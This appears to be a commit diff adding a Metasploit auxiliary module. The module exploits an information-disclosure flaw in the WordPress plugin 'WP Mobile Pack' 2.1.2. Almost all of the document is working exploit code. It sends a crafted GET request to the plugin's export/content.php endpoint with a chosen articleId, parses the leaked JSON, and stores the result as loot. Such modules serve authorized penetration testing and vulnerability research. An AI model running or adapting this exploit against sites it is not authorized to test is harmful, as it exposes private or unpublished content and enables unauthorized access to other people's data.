|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Auxiliary::Report |
| 11 | + include Msf::HTTP::Wordpress |
| 12 | + include Msf::Auxiliary::Scanner |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'WordPress Mobile Pack Information Disclosure Vulnerability', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits an information disclosure vulnerability in WordPress Plugin |
| 19 | + "WP Mobile Pack" version 2.1.2, allowing to read files with privileges |
| 20 | + information. |
| 21 | + }, |
| 22 | + 'References' => |
| 23 | + [ |
| 24 | + ['WPVDB', '8107'], |
| 25 | + ['URL', 'https://packetstormsecurity.com/files/132750/'] |
| 26 | + ], |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + 'Nitin Venkatesh', # Vulnerability Discovery |
| 30 | + 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module |
| 31 | + ], |
| 32 | + 'License' => MSF_LICENSE |
| 33 | + )) |
| 34 | + |
| 35 | + register_options( |
| 36 | + [ |
| 37 | + OptString.new('POSTID', [true, 'The post identification to read', '1']) |
| 38 | + ], self.class) |
| 39 | + end |
| 40 | + |
| 41 | + def check |
| 42 | + check_plugin_version_from_readme('wordpress-mobile-pack', '2.1.3') |
| 43 | + end |
| 44 | + |
| 45 | + def run_host(ip) |
| 46 | + postid = datastore['POSTID'] |
| 47 | + |
| 48 | + begin |
| 49 | + res = send_request_cgi( |
| 50 | + 'method' => 'GET', |
| 51 | + 'uri' => normalize_uri(wordpress_url_plugins, 'wordpress-mobile-pack', 'export', 'content.php'), |
| 52 | + 'vars_get' => { |
| 53 | + 'content' => 'exportarticle', |
| 54 | + 'callback' => 'exportarticle', |
| 55 | + 'articleId' => "#{postid}" |
| 56 | + } |
| 57 | + ) |
| 58 | + temp = JSON.parse(res.body.gsub(/exportarticle\(/, "").gsub(/\)/, "")) |
| 59 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e |
| 60 | + print_error("#{peer} - The following Error was encountered: #{e.class}") |
| 61 | + return |
| 62 | + end |
| 63 | + |
| 64 | + if res && |
| 65 | + res.code == 200 && |
| 66 | + res.body.length > 29 && |
| 67 | + res.headers['Content-Type'].include?('application/json') && |
| 68 | + !res.body.include?('"error":') |
| 69 | + |
| 70 | + vprint_status('Enumerating...') |
| 71 | + res_clean = JSON.pretty_generate(temp) |
| 72 | + vprint_good("Found:\n\n#{res_clean}\n") |
| 73 | + |
| 74 | + path = store_loot( |
| 75 | + 'mobilepack.disclosure', |
| 76 | + 'text/plain', |
| 77 | + ip, |
| 78 | + res_clean |
| 79 | + ) |
| 80 | + print_good("#{peer} - File saved in: #{path}") |
| 81 | + else |
| 82 | + print_error("#{peer} - Nothing was downloaded. You can try checking the POSTID parameter.") |
| 83 | + end |
| 84 | + end |
| 85 | +end |
0 commit comments